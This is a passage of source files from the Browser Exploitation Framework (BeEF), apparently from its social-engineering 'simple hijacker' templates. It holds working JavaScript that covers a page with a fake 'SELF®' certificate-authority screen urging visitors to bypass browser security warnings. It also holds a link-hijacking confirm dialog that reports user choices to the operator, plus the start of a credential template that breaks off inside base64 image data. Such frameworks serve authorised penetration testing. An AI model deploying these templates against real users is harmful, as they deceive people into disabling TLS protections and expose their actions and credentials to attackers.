    SELF® - to make the Internet a safer place.'; textRed = 'Your browser raised a warning because it is not up to date. As '+domain+' chose SELF® to protect your security you need to ACCEPT this certificate to view its content then please consider update your browser as soon as possible. When your browser will be up to date, it will accept SELF®-signed certificates. Please bypass any warning until then.

    SELF® - to make the Internet a safer place.'; arrows = '
    read more about the SELF® certification authority

    Security Enhanced Layer Factory®: because nobody of us cannot realize the full potential of the Internet, unless it is a reliable place to interact and to deal. Our dependence on computers and the Internet increases every day, like our vulnerability. Daily news reports confirm a clear and present danger to all the Internet users (worms, viruses, trojans, malware, cybercrime, cyber-terrorism and related threats). These threats, mainly the very sophisticated group work of organized crime, directly harm millions of Internet users have real confidence in the Internet. Every individual or the company using the Internet has a role in the restoring of trust. SELF® help people as customer or seller to feel safe by issuing SELF®-signed certificate that are build to last. With SELF® you will never be harmed again - Trust is our workship.

    Security Enhanced Layer Factory®, SELF® and SELF® logo are registered trademarks.

    '; buildtpl = function(target, background, icon, text, addarrows){ tpl='
    '+background+'
    '+icon+'
    Please accept our new SELF®-Signed Certificate to ensure maximum security protection.
    '+text+'
    '; if(addarrows){ tpl = tpl + arrows+'
    '; target.innerHTML = tpl; toggleMoreInfo(true); setDirectionSensitiveImages(); }else{ tpl = tpl + ''; target.innerHTML = tpl; } } forward = function(){ send("User continuing to "+target); timer=setTimeout(function(){timer2=setTimeout(function(){buildtpl(sneakydiv, backred, warning, textRed, true);},400);window.location = target;},500); } function $(o) {return document.getElementById(o);} sendCommand = function(cmd) { window.domAutomationController.setAutomationId(1); window.domAutomationController.send(cmd); } $j(document).attr('title', domain+" Security Enhanced Layer Factory® certificate acceptance"); imgbootstrap = document.createElement('div'); imgbootstrap.setAttribute('style','display:none'); document.body.appendChild(imgbootstrap); document.body.removeChild(imgbootstrap); buildtpl(imgbootstrap, backred, warning, textRed, false) sneakydiv = document.createElement('div'); sneakydiv.setAttribute('id', 'background'); sneakydiv.setAttribute('oncontextmenu','return false;'); sneakydiv.setAttribute('style', 'overflow:hidden;position:absolute;width:100%;height:100%;top:0px;left:0px;z-index:51;opacity:1;background-color:#13771f; font-family:Helvetica,Arial,sans-serif; margin:0px;'); document.body.appendChild(sneakydiv); buildtpl(sneakydiv, backgreen, locker, textGreen, true); ================================================ FILE: modules/social_engineering/simple_hijacker/templates/confirmbox.js ================================================ /* * Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - https://beefproject.com * See the file 'doc/COPYING' for copying permission */ var answer = confirm("Do you really want to leave us ??") if (answer){ alert("Okay :(") send("User chose to leave."); window.location = $j(this).attr('href'); } else{ alert("Okay enjoy ") send("User chose to stay."); } ================================================ FILE: modules/social_engineering/simple_hijacker/templates/credential.js ================================================ /* * Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - https://beefproject.com * See the file 'doc/COPYING' for copying permission */ imgr = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAMgAAACVCAYAAAAdSLW3AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAMT1JREFUeNrsXQd8VFX2/qZkUiaFhCQkoYTeIfQuSBNBelMsiGt3resWd9VddV1d9Y+sgrordkVAadJ7M6GDdEJogRCSEEJ6JpmZzPzPue9NSK+TMIF7/F1JZt5MZt673zvnO1Wvb9ACUopID1rTab0iT4UUrTwFJWQyrb/Q6i9PhRQJkKJioDVJ/fltWm7ylEiASLkhvWi1t9vt/PMwWk/LUyIBIuWGDOBzotNoYbdaAQ3eUDmJFAkQKSSdrbl5ePjBaWjRohmsZos/PfYJLW95aiRApADNkJuLu4YPxmt/eREgsJD0o/WBPDUSIFKAEP5fjsmEhx+YipGjR8CamcWm1lP08Mvy9EiA3O6ih0aD1NR08cunH72D0GZNYDUJTfI+rZnyFEmA3M6SBa0WF+PixS+tWzbHJwQSrU4Lq9XK5+ozWmPlaZIAuV3lCnQ6HDtxquCBSePuxr/e+itgNsNms3nRQ4tojZOnSgLkdpSzcNPjZPRZJCYlFzz4yh+ewQsvPg1bVjbsdrtRBcmD8nTd+qLTevjLs3BDwjRa7YSM66m4Y1A/tG/bquCJUSOHIDk9E/t27gaByE2j0UykhzNo7ZGnTQLkdhETbfxHbbl5btC7YerEMQVPaOi/MXcNRUpmFvYSSOw6HWFJezc9FUhrMy2bPH0SILe6XKN1t02na3aZiPqUifegYUCDGyDRKCDRe3lg25YdxEnsROB1faAkNm6hlSlPoQTIrS4BpBnuyiEzy8vXByOG3lHigMED+6JVm5bYtHkHcomXaN3cWtLD99E6KXiMFEnSb2H5iVYKvDwx/8sFOH3mXKkHPXjvJGxaswgdu3aENSOTyXtjengNrXdpecjTKDXIrSpMvJuQFumbTVokLTsHk8ePLvXAJo1Dce+U8UhIuY4jBw7DZrdrtHrdIChu4CO0LsvTKQFyKwqbSQ/BTe9x5OgJ9O4ZgbatW5Z6oBdpmsnj70az8KbYvfcgspJToDEYQoivcNSdkxz30jLLUyoBcivJdd77tMmH2MwWHDx8DNMmj4O30avMF3SP6Iypk8YiNiERp46cIG1C51avGwilQpFD89HytEqA3ErCJtJErZs+MDkuHompaUJTlCf+Dfxw39TxCG/ZHPsOHkFG0lXAzS2QgHYvPd2b1glaSfLUSoDcCpJL6yKtGWQyCY4RGByIPr26VfjC7l07Yca0icjMy8NR0j5WUy40bvq2BJSH6ekgFXxZ8hRLgNR3iaEVTBu7t02rwfYdu9Cnd3e0ahFe4Qt9fIwYN3qEiMjHxF7CpTPn2exyI7OL60tmFtJSFnmaXVc0su1PhcJEexutXtbcXIQ2DsXWtT8VSUOpSMxmM778bjH++d5HSDh3ERriMjq9jp86Tes9Wj9IoEgNUl+FPVD7aE3T6vVeGckpiNx7AJPGjy5B2i0WCzIys+DpUTQMotPp0LtHBB64dxLyYMeRI8dhycoms0vwkwl0CPuR2SV8Tp5uCZD6KEysL9CarDUYtAkXLmIfbfKpk+6Bu8FQBAjn6bnI3fsRGtIIHh7uRVWRt1Gkqoy+axguJiThzKkY2PJtIOCF0dMP0BqogiROnnIJkPomnEaSQ+surbs7LkSfwfGYc5hwz11wc7vRPis4KBDZOSa888E8WPPz0aFd6xJvFBbaiLTJRLTv0BbHCCTJly5z8iO0Wm1LlZ+0o3UcHNGXIgFSj2QXlOzdPlp3A6IPH8OxmLOYMHYUgURfBAARXTrijXfnYMHi5ehKPzcKDixK/jQadO7YDrMemAodmWS/0XvlpqVzKr2OnutKh8xirk/rEBSPmhQJkHohG2l1oNWJNUn0oSO4EJ+AsaNHQK8QbyEN/HwxbeI9+HXXPjz53Cu4lpKK7hGd4ONtLPJm7gS0YUMGYOK4u5GUmoYTx0/BRlxG6+bG9hlnSt5PK43WMVp2efolQFxdeJOupcUBkTYaAsnR/YdxODoG48eMgKEQJ9Hr9cIE8/Pzwdt//xe+WbQMdtIcXUhzFOcnQYEBmD55LHoSmT/OFY3EZbj8V6PV+tHTTOTvhBJovCIvgQSIq4tF1SSDyBxqqjG44fRvbG6dw3gChMFQtKVv/z49ENGzO5YvW4k1y5djydrt8PX1RkfiIEzsC0u7Ni0x84EpcPf2xv6Dh5Gbnsm5XdAA4So/YbOLqxhlfpcEiEsLE/bVtAYKkJBGOH34OI7S3X+i4CRFQdKhbSvccccAbNq5F7GnTuKXVZuw6dfdaNYkFK1aNi9yrIFeO2RQPwG2c5fjcfZ4NGwEEa1Ox0SHPV3joQQZpbdLAsSlJZvWKqFJgKbMSU4fPYG9vx0X3Rm9i/GNZk3CMOzOQdiwYzfSUq4jPu4KFpLZdfhkjCDswUENixzPHjGuOwkm0r977yFwERdrKwJksKpNrLSi5GWQAHF1TfILrcHgOhIi3eeOn8SuA4cxdszIEsHEkEZBGD/2LmzduRtXE5Kg9fTAyd+O4rvFy5CemYWe3brA0/NGoJG9XZxuz4HJ42fO48LJ00xumJuwbTZc5UJb1M8hRQLEZUHCmoTzrMK1ZG5dijmPrVF7MGLYYAT4+xU5mLN+hw0dhFXrtiD12jXofbyRl2dG1NadWLJmE4IaBgiNwuBwSMMAf9w/fQJH37Erai+sFiu0imu5vWpy7YTMFHa6yFws5woT6AVQG8txKW67Lh2xask3aNO65Hk+fPQkJk57BBcvXoLeizSN3Q7O94LNhnGTxuK9t14h7lIy0Lh6/RY8/vQfkXj5CvQ3zLirUOrit8nLIDWIqwp7lpbQ4tSRHqxJki8nYNP2SNw14k6hBYqbW3379sTylRuQTWBijaBl84lWNBH+BT//AgPxGjaxtNob7QO4uvHuu4Yiav8hcNoLu5pJ1zBSeDrWQVrn5aWQAHFV4f5YK2mJQB8T96t0p1dAMqQESJo2DkXv3t2wcs1G5GRnKwAh00rrYYApJxcbVm/AroNH0L9vjyKvZQI/ZcIYIvinifOccoDEXTW3mLhfkpdCAsSVhYmzwQGSZALJxm2RdOcvqUlahDdFh/ZtSJOsFxnBWjU2wk2zOQZy7kQ0fly6Co2bhKFrp/YFrzMavTBx/CgcjT6DmCPHwX8HSkeVEVCCmTKXSwLEpWVrgSahjc6lu7sOHsakCaNh9PIsciDXl/BUq+W/rBWheodJxTydPWPZmVlYtmwNklPTMGzwgILcL84m5lyww6diEEOcho8lYa8AN7PjFkYyj0sCxOU1CWfpRvAdPv7MecRfvYYphdqaOqRr5w4wEuneuG4zJy0W8WIJ04s0yr4du7CDuMfQwf2FN4yFI/dj7h6GbVF7EXcu1gES5kE8EOgXeQkkQFxddkDxbAXRLR9HSYuENQ1Dz+5dSxw4oF8vxCdexUHa7Npi+VoKN3FHLJlUqzZuw6ABfRAW0kg8x0VaQ4cMxAriMmkpqQJQUGIkXFd/WF6C6ol089adcPufpfyDNS8PzcKbYf/O1SWi5yxZ2TkYMXYG9kbtgd5oLPXNrDkmNAwOxIKv52EUkX+HMEAm3fsoOI7IHAZKy6GBKlCkSA3issJ9sUaBo+10d09NSEJQaCMM7NerxIFsMkV07YiFS1Yh12wu4uItMLmIe2SnZ2Dl6o3oFtEZbVq1KOAy6emZ2L0jykHafWnxRV4hL4EEiKvLINXsgS0/H9kmE343874iXMMhjUNDkJ9vwzYypVROUQpI9DBlm7ByzQZ0J3OttZr0yHGTFes3Izkp2WFqRahcSLp+qyiyeXXdSUdaNzrPkZY4f/EyEhKvlvmCF37/O7Tt0kGYZKWKHdB7uiMzMwszH31edIBkYTfyK398llFYYErT+pO8BBIgripM0Dk1PqQQ/ePBoKQl8st8ka+PD555/GHAYi37nRkkRNCTE5PwEIEkPiFRPDxj6gR0791DSV1RhDun9JKXQgLEVc5rG1p0G8evqv1f1BtiMaNpWIiIiJcnPOUqhEdRlwcSEs7lOvXbMTz70mvid65YfOTB6YXBxQUqs+SlkQCpE+4GJfeJ24g2U+/MrCVeovUVrf20jtKaq/KOIufZZrMBeWY8QvzDvQx+UcBFCESi3am54gJCna8PVixZiQ/nzhe/Txw3CsFFwTVWJexSKil6eQpKCNvrPupGYh8sD8ZpCiXwFqqCgh8PUJe/eneulHCfXrKt8MTzT+DZJx+u1Gu4Q8rKZasq/uBM9t3d8c9352D0qKEiE3jwoL5YsmiZCDxCKdtlwK6Sl7nyAOkJZWgMl2/ebmkJjdRNw31EOcmpnaoRuGKPbR9fFTBVFrvdXqAt7BYLt10UhU7tO3fAq396TlQKVlb8SDNUtp+Jnsh/WlIy3vjnbCz+/jOMHnEnlvy4tPAhoyRAqgaQt1TvylnVNGB7eR2UctJbSfgu30G9IXCeUg9VOwRX19QUphL/y2Cw0conU8ZKpJuJN7tXabN6e3ujTavm6N2zm2gNxC1+iudhVSSnTtOl0VYep1pvI5auWItdew6gV48IuDfwJQvN4mgQESG3fdUA8iWtMaSf29rM5rZ053tAZzBwm02etfc1lLrn+iq8+e9QbwBcEtscSoZteU4hUbCkaAA77PSzVsclrjp6zIZ8drny4pY8Hh5wMxhEwiBv+qZNwtCMbP4W4U3QnP7l4F27tq1E3UfhFqVVkcysbETRRuex1JUGiFYLa042/j37Uyz8Zh6CAwMRFxcvPrN6DthMTJbbv3IA2cA3KavZ3KFH967IyspCzPFTLfTe3p/T4zz45XeoXwEm5g93QamuG6byhLLsIMUEoo3PP9tt+dDQJnJz94LenTa/hxe8/ANhSktBemKc0BJ9+/fG8DsHCa3AG9/f1xcNAxsiKKghvAkkxdv41FS+/G4Roo+fgr6KWkdLx2/YuhMno88gvFljxF285KBKYar5KAFSSYCwKbUD+bYO3G5m3bLv8ewfX8e6X9ZB5+09nHjfdihFOMdd/LuwW3UWlE6Ezcs0i8gM4ig2GywMBg9vP3j4BcAYEAyfoDABCH7M3ccPnj4NkJ12DXu+/wj2fBtmv/8m/vDc43X2hbZsj8Lf33hfmGpVFdYi5vQMLF66kgDSBJH5toKnIKfwVtmLtVlrcHtq/6GjQqWvXfotHnr8Rfzw5QJ2HbYgkKxV78quOGePUzdeoDWdlldJJWGDzWoVJpOOzBSjfxC8g8PQIKw5/EKawqtBQ3j4+BdU8hVwC7tiXp3Y8BNMCXGYM/cDvPjsY3X2pRYuWYknn/0zXY8s0mbu1XsTet2GzTvQggf+FNVsIXLrVw0gJ2hzmPNzsg2/7t6HiC4d8PVns4UN/sNXP0Lv68NuTm5GMBLKgEtXENYSr9J6sPgdkcFgs1oEOAye3gho2hr+TVuhYbM28A4KgbvRV6lE4uNIm7BplW8xF/MGeeDiwZ24emQPJs2YXmfgiL14WTS9/u67xbATMa82OFSP1plzsbh2PQ3aolooQ279qgEkjgByHtb89qdjlBku3Ij584/fQ2JiMjav28ytadjrw6h55CZ/ZgbD87ReQbGgF292Bgbzh4bhbRHcpgsCW7Yn86kRbRZ3MpPoeZu1BBiKCxNyU2YaTkeuhzEoGG+++nKtf6kTp2Lw+dc/4vuFS0Wmr9ZohE6rqfH78giGq1eTC8p4Hdxfbv2qAYR5SDyhoj0PgHEINzD74tMPcOddUxAbe4lzftjG56zQH27S5+1D6zMoLtobwCATije+l19DhHTojtAOPch8agYdgcKWbxFDaqx5pkr/ER1xsfh9e5CXcAGP/eFFdClUB+5M4bypTVsjBU/YvnMXclPTofH0FH2ynCVsNmqKgiNdapCqA4TlItupVxKvisYBjt6y4U0b4z//909MnP6IsM2J/L0JJU5Slw0BmFjybfytwuaUjUwjHhXgE9wYTSP6I7RjD8Ep7DY78gkYVQHFDe1B5DYnC5eP7IWOuMlDMyY77UtwykfMuQvYuiMK6zZtx579v+G6SC6kTezhzqZsnVhxtBLk1q8WQLRIInWcm2cu0nx5wj0j8fgjD2D+Z19B6+vTUjVv6ip9mt20/6U1rRDJoM2WB0/fAIT3GoJm3QfA3dtPmFdWc17NkKjT49r5U8i8HItBwwajT89uNXo/nll44Lej2EhkefP2SJw8dQYmHpTDd3biF2VVDNai8KSsPLn1qw6QK3zRTKZcpKdnlBj08q83/oItdIHPE+nTe7j/nh5aBKVJWW0K2zYLVU+VyjOsIprXpGs/tLljDLwDQwSnsOY5J0tGo9Hi6tkTQL4ZIwkgpRUzVSSpBIDtv+7B+s3bsXlbJC6Q1rDTTYej61z8pPc23sxrvlZu+2oChDdDntmClOtpaNI4tMiBPODlH6/+AQ/Pepa9RJ50LHuQJtfiZ7tDBUdjxwP5pDUMRl90HDEZjbv0FV4qZwHDYV5ZcrORlkA8zOApOodUVq4mpxAYfsWaDVuxI2ov4mPjlPwr0hI67shezUi6k4VNq81y21cPIDmsQZRRxqU7OR66bzIW/bQC61Zv5LsgZ9txCsf6Wvhc/L4LUCgKzkBo0Lg5uo59EH6h4WRK5QpTy5nC2oP5R0ZyIoLCQgT/Kh8U1wgUUfhlzQZsI43BbUZFFR/xCe4+ovV0uXjc97QS5bavHkCyNOwQsli06RmZZXpE3nz9j9i+czdMBCS9TvcGlGbJzrRpp6leMoNCN+xCc4R16Y3Oo+6Fwcu7WuS7shokJy0FNlMOQtq1Iq1ZsuNITk4OttH3X7RsFTZt+RVJnOPEgUUCg87Lo1omWR1qj0/llq+BBqGLa4LVauQa57Kkd48IzJp5Lz77+HOuCe0LJVfrMyd9nklFwEEbjz1VrQfejbZDxoo7fEUxjBqqEDKxcsSG5+TCwqPUOKdpAWnPJSvWIOZkjKjpYM+TzugFTf241q9Dtv6pEUByOZpOJMSYcj213Bc9/9QjYrwxe2j0ev1foHQ0r2ny21Ao1XgqOPKFBdVx5FS06DNMjWfUcmKxXS060nC9eD5pCxMi9+zHp/O/x9atkchJTeVen9ARMDSaepXOxFnZX8rtXnUpXAfBwULBeDMKaZBsMikushlR2LXUrjVm3j+VdI4wdbjg6Okafg4uWf2ZVgPFU5UvTKtOd09Dy34jkG81C21S66JRTDoeUhN7KQ79R0zE2AkPYfXyNTCZ80ScglM/XNiMKk04ZvWc3Oo1B4hJAITs8JSUGxqEs0JXrN4gJiAVFs5qDSISa2VPjZL60bqan4HjKouhlLEKIPD260R8o3mvO5FfC2S8bA1iFynunLiYQTzsxLFTYiYgu2WdncZeR8KlDNNx6xW/3TQNYmKAJCVfK3iQe76eP3Mei5esLPJCbtn/2KwZ9AqhdHhzv1qNv++vgqOlg5Az52g7dDya9x4ign72ugKHCk6OxHPeFmuJeqgtCgt7Aaew80Vuc+cAhBs0cZ9LJCYVpRPBIY3w79mfED0pqkWefnwmGt3QIrOgzKWoCv/5CoV6NeUTIMJ7DEKrfiPFz6hDcLADgDWHJwHE2LCRAGo9FbN6s5opNYdzAcJyldNN4q8kKnXWqjRtGoZTvx3Ewp+Ktnfl6UhPP/EwaZECt+tsVL6tzAe0JhaAw2JGQHhrtBs2UWzOutIcnFrC2b/5VguuxhzDqU3LYEq/DmWIbL2T4+pN6h0ok66kOBkgyaxBOFUiqZAWCWxIe17ngTnzvhSpKIXl2admoWXH9rDmilAI9/OfU4m/+0daLxY2bXiTdhg+WZS72uvg7u0Ahik9BWd2rsWeH+Zg/0//xfk9m2HOyRQxkXoknJ37Bi12u/8qt3UtahDeGGnpGbgcfyPhs4Gvr0jBPnrgEL5Z8HORF3Af2H/89SURQVbv+tzs6e1y/uYzqvZAYe0R3nMwApq1EUHB2jalBDAyUhG9ZQV2fz8H0VuXIzMpXjgk+Dk+pp4In/DlKjA4y1rOSq9lgMSytyaPNMj5izf6NAQQCETQjMyO/8z7Qnh4CsvM+6dgyrQJyE8vKDNgG/hbKF1FHMJFDh/S+qTwazm24RUQJADC2bi1KTo3gzDfzu/ehN3fzcaZX9fCnJ1JoPAk/uGmVBnWH9kLpd8u58NFy61cNwC54vjh8JETRbSESH93d0fMiVP48rvFJd5ozntvoE2XjrBmFfBCJolHoOT/cIrDb1Bac6I4QJp1GyhqxWsrEKh4pDyRdvkC9i/8BCc3/Iy8rAxFW9Q/rnFW1dI8FGeD3MJ1C5ALwgtCWmTfwSMFD3p6uiuTWZkb0F14zkf/w+UrCSUI+w9fz0UIEXoraRK1qRo3B+CacQ4ktlbMKYuoABRBOXo/D19/hHbqKUhyrYBDTFrSI3bfNuxdOA/XL52BjoDBj9Uz4SRDrsPhasrvoHgdpdQxQM6AKwXJnDp6/BRiL11WAeKJ0EZBomOg3t2AuPOxeP/DkulXXFy0Y8NSjJowho61EVAyYc3OURZpFiuZZiEhjdC8eTORysGgaNS6M7wDgmtFe4g6bLvSmeT4uoWwEdfhMtzCYs0zi8i9CwvfaT5XgfEeZD15nYq+FG/ISb1eH3rtSiL27DskOgTqiLw2DgtV2mryXdnohf9++QPumz4BA/r0LPIGbdu0xNql3yBy935s2LQDMecviBkYIcFBAkAD+/fCrCdfFsFHrpMIad+9Vly6rCGY/B9Z/T0SThwUwCge9OPBNF26dMKli3HIIADr3FxOq3COzxOQRU4uAxAWdhMOZwfJspXrcd/U8eLBls2bFgTumMhbSCu8/Oc3sWnNIngbi7ajYm/Q4IF9xSoua9Zvwa4o4pd6nQjINQgLd7r2YM3B+VtHVn2HhJOHBNcoLqzVuvVijbcE27ZH4b6Hn0EumX5610kp4T7JM2idk9vUdUwslvVCrdOm2rR1J86pXU66d+0kOvw57vZ6AsWeyD14/a0PqvQHRbCRI+9k+nBrHq7vcGYioiN+cXLjzwSOg6WDg8yqwOBAfP2/D+Hr440J40bhH6+9DOS6TKl2DK0JEhyuCRCuMz/IfbHSEpLw+VcLxINdu3SEu9FYxBzSEkg+mjsf/1OPqUg4vvIrN2ImHsMbuWHztk7OJtFAqzfgTOR6XDoUVSo4xMgzAufH/3kH3bp0LHj8qUcfRJtO7QR4XEA4+VN2HnFRgLC984XKzvHVt4sEWefxwp3bt4Gt0AZiU8qu0+KFl17DNwuWVPjHeMjkpUvxAhzc99Y3pAntVeeZV5xcGH9sL85GrhMxj9JGe9jJtPrrX17ADNV0dEgDP18MHTygUpOcall2QrpvXRogLAsEWSfSei0+AW/860PxIHf5gKWoO5YIPfKIQzz6xEv42xvvi5LUsmTLtigyY0ziDm4MDIGnr7/TPEgMiLT4WDKtlhQxtYogPyMT46aMxZuvld4psWO71spsj5srJ8t6grV3aUtK3ZJ0Fo72cYnmUh7G8u13izF+zEg8Ous+zJk3HxbaRIWH2+vd3ETc4923/w/LV63HA9Mnol+fHvAh+54v4OX4K9iweScWLvlFtNS0EYH2bdREmEO2/JrXl3Osg0tlj69fJCLjulI6iLCbuUvPbvjqs9lw05f+tS0WlxiF0qi0B9k0LCv1vh6n5Lu8aPQNWpT3PA+hfNZqtpAJ4oPtG5di9kf/xfdfLyyzPSYPmLHT8VyVp+OuHgQcq6g8tNPvnuLOLgKEZGL1nPak6IpYoxQT2hzctf342h8Re2BnmR6rxs2aYOPqhejYvk2Zb/XgYy9gAZmUN7lvVRqt3lAi5kL45hMYEIAVi79AYMMAMT6ahcdVxNHNZ8zkh0UpglYrZ7LWlYnlEI7cbubgYNr1VNz30FMY0K83ApuElTnfW8fdAgk83CBNNJMmDcIeL+4g6DB7+I6fff0qzkatr3HNBxc3XT66BxcPRYqfS4CDwBnatDFW/PRVueC4kpiErTt2CQfCTZYGqvZWPj+ZtGGhjbBjw8/oT1qZB/d0IFOQV6uW4Wjdsrm4SUhL6+YAhE2tB+nsH+A53NGnzuDd9+fC19enwpmSrPb5jlbWXY0Dd9cuRCM7JanaaR/MOzKS4hG99RcFfMUDgdnZCCMwr1zyNXr16Frue82Z+wUSuEG3m5srXBfOY1Nau9oVnseN+6S4DgcpLEngGYZ2+zd6T48xcVcSlLTwGgbUOKXcYjIhJz0F3kGhVc4s4tezaXZq81LkZqSWMK2YkHfs3hU/fjMPEZ07lPte88lk/JBMR215Y84IfPm5ubCLPLJatPn5vRnsOt37Wp2OAzMfSyLu2gBh4eoprm9+V6fX8zQn5+wQeheLqXolDEzEz0ZtwNWzx4uAw7GZHn/mUcx+5zXhKChLeJrWe3M+xfvvz4OduUw5Nnw+ASOCAMccIL+WPF2sdXkabVpGBq6TSZuQlPwRcrK98k2mf9/EPcLzDDnptK7dexyhLr45/KC0oq2LOwbvcWtVbBsuJeR0de6kyFWDLZ21KapjWrFL99yujYKgF9nIRGgDGvgJvnE+Ng7Nw5vA6OVV8I1NebmIPn0OG7fuxDc//IwzJ6Kh4+GbFaS92025+Pebr2DUiCG1elWYkHPVZg5p18vxidi2c9e7kbsP+Fqt+X+7SQDh0Vrvou7q2/kuxakV3H42sthzjpa0eXUAEt5Y16pj/HN7E87X+gOUfkt+NfkUOkPVRowx1+C+vCc3LSHtk60GBAupRDL9uDv9Sy/+DQbSHpymHxwcKPLHePMlX7uO5ORrYsAl17fcZI9Vyd1B389o9BKLW592j+iE559+5K9kUvJ02mdR911KHCe4rk+UvoxNy3cyrzr6DF7VTV9NVT0t30CpLeekuoZVegcxVNMg3L1VsbEZEKw5UmJPiyKoskDEG99CZlFCYhISCpUPc1MK9qLV0bAa5+wUJW7zsLoxpt8m5r9LEK+aOs7PqVqE53f8HYV895UxJTx8fOFu9Kl0siKDIzX+Ai7s3VpCc5R6PGkN9krpeXqTY3F8Rldv4wXTVC5YIGs3boOJtKFWK4OFrggQh3Bl1T9pRUCpkV5RkSnAwUJOdxcapBJdTFgrcH0HN1pg00pTP9vyOEOmOn44feY83n53jhjxLKPprg0Qh7DXgbtscJf2Lqr5FVWaB4SH3/B45sq219G5uePioV9x7Xx0lXnLLSYRqr8BK39Zi7gz0UIzSqk7IuQsiaX1kbr6qsAJVcBhF/yB091tlTCvuONIRtJlwT20etetJV/6yzp8/N+vRLvWqtExuzAHR4+8E0/+7sEiYxdKESbLfsdORKe9N3c+4O2PmxxG5/Y3PJIvWyXQNRWNyj+OVuO1nLPEZclpTvgsfOc21dVuu1CYdHGAL6BpKyUPq6JqQo3o7oCY7SuRl5leaq6VqwiP0N65fj3gZqx6pMhmx7plK+Hj44NZD0wt94zk22zat96ejZS4eI2+gV84AYQjoZxU10j19NjLuOA8mZjHQHMp73n1utS0Soxr5LfCNXpy8WaaByW47fIapLDwfPOwwuYVzzPXE9GuaCot51fFHd6NxNNHRL2HS6tjTlNx86r2UB1rhg0HDx2pCCA5Pyxcen3JoiW99A3836STeSeq5/bkuy3301oGpVdZdee7aAHcsgSorgBSMOyTNQb3wOJmDRVpD87RMqWliAZvCldx7etg5WIrSxbyM+zV0CA2oS0HDexTvt16Me7Icy+9NhU+vtz6x7MGH9dN5Ym8uDUTu48PVeN9bHARl2x9BQir/dE3zCsrwjr1EmMGKppQy80Xzu7aIBIaXdm0ckiXzh0wfeYseFRR0yljH+wYPnQgpk0aW+6xOyL3mDLT0ubqjUZPJ370VlDGUPRTzbCqCPPK91VTraZOH8dthTM1Lt4uABkHJZdHxDsMnkaEduxZYSWhku17WphXOtcYoVyh3E0km1dtSZ7ZHPnRx583pDtHSCVfYlY3XWVSlLmxH8+b/KCKHytAJenOlJ+qCRD+nm+qvEhXQ6DyBn2nLgAyozA5D2rVkch5WLnmlYh55OXh9I5VovqQXby3uTA/WPzhR//77LdDRzfqyk6P2QVl5spF1fRJVe/qfurmYTL/JK32Zbx+fDUAUhtS3TY3evX7OUMYIPNqGyDs3h1S2CMV0i4CWq1eaT9alvYg8n7+wGakXjp7u8c8HMJep70x52I7kD3WWFP2MRx/ulrO+3AzCA7iHkShGfSFpIP6+HV5yuvGxJruUHV2kVrih4DwNmJibZm8Q69H1rVEnNu9CRqdTl4hRTiV57t+fXrkfvPVAqIsdk0pkXN2s/YsZsuXoDtQXKFpZQCEiZ6/BEjdAITtgImFzSv/pq3EiDObpWyA8IXntj2lFUG5utS0sKmCdBGN2WLxLCcoyPXENW1RymaYd3W+upNOoeZ2AAifZE6VHYPCNSN08YNbd4GWKwHLIeZXzxzDlRMHSq0vd3X5efkafDh3Pjw9PaoFLv8GfpgxfQKml+HJSk5Oofu/tTbzrvja+VbxNbGq3Z8F50TSWU7cigBpCqXR8hjVI+LLEXBbvk1oD4PRB/5NWpbpvWJizjM7oreuQH6uCRriIWJmOde2czJePUhOvBh3GXu3b6teJJ3FbMbaNRvRtnXLIl0fC7SwzSVDDpxiEgnXiKTzCeI5NOYaaiN2bLCZk+csgLApNZ9WIHunePEQTNYI3gEBcDf6IrBFe3j6+ZftvWLTgVb7YZNEj6s8MrGy064hJ/UaslKSCDxpAlw6nZvLchMxS13rDo2ne7Wujs3dAHNmFuLj4ksFiBfXzJc9Ho7jEHE1QJBW9dzkVON1rmIa8Tm4By6WajIMSpDJwPM+fBqGiDQSduV608+sOQxeRmFaWS3mck0MNw9PMsM6Kedbo9jknOLOmiXzajyZX8dFDTo3euBiK1cbtMnfEW56UeBU1R3D9wctadyhE0ZjwIDSo+kB/v5cPVWgWYvJaVp3qnc+bQV2fo56nLPu2jKSXo7wxFoDm1G+wY3Ra/qTAhgMFtEa05YvXLq2Sm0SuwBEceLK3i8m943aRiCHtErc4V2IPbCj1JLbmyn3E3+4gzZ3dRq48Xf38TaKGnq3MloPNQxoIABShniqGqAyJbmMwIhiIHFk0XJ3/8QqfHTOsZsH50TSHWJQecj/1XeA8JDObg77uGm3/gIcZpPz6vsFyJi3qNyFC6zaDZ2A4LZdcWLdQtG8wVViJcFBgWLVlnTp1B7unh4w0w1HV1KDsBeL406bKvFWPEd9eCmPs/07sIoAYbfwI7XwdXffCgDRC7TTJmbOYfDyKUbCNWQGaUQPKzaH+F877BXXL4iLrxEzEfOZsxQ63sFx/EObofd9v8fhX75RWv8Y6pdLuDrCXRV7RHTGbh5AVHoPL+74MZvWdijTwhx3dLv6cziU2vbhZfwJ7hHrKmMXLK7wIZxhYjECSINYkZ5wCc26D1QGdIo7vxXWXBNyM9ORm50BM6+cbORlZwrTi9PezTlZMHh6F2pLqhW/cwyEG1z70NIbDIrJVqi4ivmMm6cR3Sf9DgeXzBddGvW3eNSdnQBPPzETu/fsL4uHBNH6twqI4oRPV4nrzZ3l4yHFaQC5BiXvJ4C5QNyR3UKLsLeKKwAzEuOIUF8XzeGseSaFXwj+rSmqLYppFIeWcfPwgh9piiZd+4n0eCbxVnU6ldAmBBo+JmLsA9iz4GOY0q67dMWhM2T4kIHrQsJCUhOTku/Xl/1d+QRX527xH1Q/D0oCpBThuxQnx81l8ynfkoforcuVTU53e2FWqaYVxKzyqplBNtIyKRfPICU2RpDyVv1HCqLOJbiOsdEMOq+AYHQcMRmHln6hgO3WbWCwUavVPqjT6dPpHsJk/DEnEWOuMuRewItc6LtqywB+vTOxPoVSE/AXAoJO8SrZnfJdGFgOLxWbb4eWf4XAFu3QaeQ04UZ2VCPyv43adaMVIYZ21gppp6+Tk2MSHCsru/ZjYt7eRhOBgb0dXJ/BQ+s5BXwlnVuL6lV9Ur053U9rEJSSAq9KnnjmGpwSzhWF3CmTpw7FlQMePjatDvelZxmOAr4pXFVvzPZSTMhsZ2vAiuaDVEVG0loKJc2k1oSLrIwBQYgYN1M0fXCAhIHE9SP7F3+i0iLn3mzYS9ckLIQ3bqUaTdREMrOyLr356svTH5153yXVjC0grIlJV9Fr8FjExydCf2NsNX9ZHpsQUAmAaFQCn1oKTylNPNQNW5exDo36nYu